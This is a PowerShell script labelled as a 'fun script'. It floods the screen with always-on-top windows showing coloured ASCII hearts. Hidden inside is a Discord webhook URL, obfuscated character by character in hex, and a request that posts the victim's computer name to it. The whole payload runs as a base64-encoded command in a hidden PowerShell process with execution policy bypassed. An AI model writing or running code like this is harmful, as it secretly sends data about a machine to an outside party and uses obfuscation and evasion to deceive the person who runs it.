#fun script Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $scriptText = @' Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $code = "$([char]([byte]0x68)+[char]([byte]0x74)+[char]([byte]0x74)+[char]([byte]0x70)+[char]([byte]0x73)+[char]([byte]0x3a)+[char]([byte]0x2f)+[char]([byte]0x2f)+[char]([byte]0x64)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x63)+[char]([byte]0x6f)+[char]([byte]0x72)+[char]([byte]0x64)+[char]([byte]0x2e)+[char]([byte]0x63)+[char]([byte]0x6f)+[char]([byte]0x6d)+[char]([byte]0x2f)+[char]([byte]0x61)+[char]([byte]0x70)+[char]([byte]0x69)+[char]([byte]0x2f)+[char]([byte]0x77)+[char]([byte]0x65)+[char]([byte]0x62)+[char]([byte]0x68)+[char]([byte]0x6f)+[char]([byte]0x6f)+[char]([byte]0x6b)+[char]([byte]0x73)+[char]([byte]0x2f)+[char]([byte]0x31)+[char]([byte]0x34)+[char]([byte]0x30)+[char]([byte]0x33)+[char]([byte]0x38)+[char]([byte]0x36)+[char]([byte]0x31)+[char]([byte]0x30)+[char]([byte]0x37)+[char]([byte]0x33)+[char]([byte]0x36)+[char]([byte]0x30)+[char]([byte]0x31)+[char]([byte]0x34)+[char]([byte]0x39)+[char]([byte]0x35)+[char]([byte]0x30)+[char]([byte]0x39)+[char]([byte]0x32)+[char]([byte]0x2f)+[char]([byte]0x4a)+[char]([byte]0x35)+[char]([byte]0x59)+[char]([byte]0x63)+[char]([byte]0x58)+[char]([byte]0x66)+[char]([byte]0x66)+[char]([byte]0x5a)+[char]([byte]0x52)+[char]([byte]0x30)+[char]([byte]0x2d)+[char]([byte]0x54)+[char]([byte]0x75)+[char]([byte]0x66)+[char]([byte]0x64)+[char]([byte]0x58)+[char]([byte]0x57)+[char]([byte]0x69)+[char]([byte]0x6e)+[char]([byte]0x6f)+[char]([byte]0x56)+[char]([byte]0x32)+[char]([byte]0x4b)+[char]([byte]0x2d)+[char]([byte]0x39)+[char]([byte]0x64)+[char]([byte]0x69)+[char]([byte]0x39)+[char]([byte]0x6e)+[char]([byte]0x53)+[char]([byte]0x56)+[char]([byte]0x41)+[char]([byte]0x54)+[char]([byte]0x4a)+[char]([byte]0x30)+[char]([byte]0x44)+[char]([byte]0x74)+[char]([byte]0x51)+[char]([byte]0x30)+[char]([byte]0x6e)+[char]([byte]0x34)+[char]([byte]0x4e)+[char]([byte]0x66)+[char]([byte]0x38)+[char]([byte]0x50)+[char]([byte]0x6f)+[char]([byte]0x38)+[char]([byte]0x32)+[char]([byte]0x45)+[char]([byte]0x59)+[char]([byte]0x33)+[char]([byte]0x71)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x4e)+[char]([byte]0x4a)+[char]([byte]0x57)+[char]([byte]0x56)+[char]([byte]0x6c)+[char]([byte]0x4c)+[char]([byte]0x56)+[char]([byte]0x79)+[char]([byte]0x4b)+[char]([byte]0x56)+[char]([byte]0x79)+[char]([byte]0x73)+[char]([byte]0x74))" $deviceName = $env:COMPUTERNAME $payload = @{ username = "hearts" content = "Hearts displayed on device: $deviceName" } | ConvertTo-Json try { Invoke-RestMethod -Uri $code -Method Post -Body $payload -ContentType 'application/json' } catch { Write-Warning "Failed to send webhook: $_" } function Show-HeartWindow($x, $y, $color) { $form = New-Object System.Windows.Forms.Form $form.StartPosition = 'Manual' $form.Location = New-Object System.Drawing.Point($x, $y) $form.Size = New-Object System.Drawing.Size(485, 475) $form.FormBorderStyle = 'FixedToolWindow' $form.TopMost = $true $form.BackColor = [System.Drawing.Color]::Black $form.ShowInTaskbar = $false $label = New-Object System.Windows.Forms.Label $label.Text = @" ..... ..... ,ad8PPPP88b, ,d88PPPP8ba, d8P" "Y8b, ,d8P" "Y8b dP' "8a8" `Yd 8( " )8 I8 8I Yb, ,dP "8a, ,a8" "8a, ,a8" "Yba adP" `Y8a a8P' `88, ,88' "8b d8" "8b d8" `888' " "@ $label.ForeColor = $color $label.Font = New-Object System.Drawing.Font('Consolas', 16, [System.Drawing.FontStyle]::Bold) $label.AutoSize = $true $label.Location = New-Object System.Drawing.Point(20, 20) $form.Controls.Add($label) # FIX: Ensure window activates properly $form.Add_Shown({ $form.Activate() }) return $form } $totalHearts = 12 $windowSize = 500 $padding = 20 $screenWidth = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width $columns = [Math]::Floor(($screenWidth) / ($windowSize + $padding)) if ($columns -lt 1) { $columns = 1 } $colors = @( [System.Drawing.Color]::Red, [System.Drawing.Color]::Magenta, [System.Drawing.Color]::Cyan, [System.Drawing.Color]::Green, [System.Drawing.Color]::Yellow, [System.Drawing.Color]::Orange, [System.Drawing.Color]::Blue, [System.Drawing.Color]::Purple ) $forms = @() for ($i = 0; $i -lt $totalHearts; $i++) { $row = [Math]::Floor($i / $columns) $col = $i % $columns $x = ($col * ($windowSize + $padding)) + $padding $y = ($row * ($windowSize + $padding)) + $padding $color = $colors[$i % $colors.Count] $forms += Show-HeartWindow $x $y $color } # Initialize and run application context $context = New-Object System.Windows.Forms.ApplicationContext foreach ($form in $forms) { $form.Add_FormClosed({ if ($context.MainForm -eq $null) { $context.ExitThread() } }) $form.Show() } [System.Windows.Forms.MessageBox]::Show("hey!!!!!!!!!!") [System.Windows.Forms.Application]::Run($context) '@ # Encode and execute in new process $bytes = [Text.Encoding]::Unicode.GetBytes($scriptText) $encoded = [Convert]::ToBase64String($bytes) Start-Process powershell.exe -ArgumentList @( "-NoProfile", "-ExecutionPolicy", "Bypass", "-EncodedCommand", $encoded, "-WindowStyle", "Hidden" ) exit